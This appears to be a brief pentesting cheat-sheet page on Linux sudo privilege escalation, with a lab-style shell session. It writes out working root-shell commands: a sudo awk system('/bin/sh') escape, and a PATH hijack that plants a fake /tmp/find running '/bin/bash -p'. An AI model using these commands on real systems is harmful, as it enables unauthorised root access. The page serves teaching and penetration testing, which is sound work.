Sudo Binaries
Theory
Practice
Known Sudo Binaries Exploits
$ sudo -l
User demo may run the following commands on crashlab:
(root): /usr/bin/awksudo awk 'BEGIN {system("/bin/sh")}'No Command Path Exploit
$ sudo -l
User demo may run the following commands on crashlab:
(root): /opt/bin/the-sudo-bin
$ strings ./the-sudo-bin
...
find
...echo '/bin/bash -p' > /tmp/find
chmod +x /tmp/find#Sudo with modified PATH
export PATH=/tmp:$PATH
./the-sudo-binShared Library Hijacking
Weak File Permissions
References
Last updated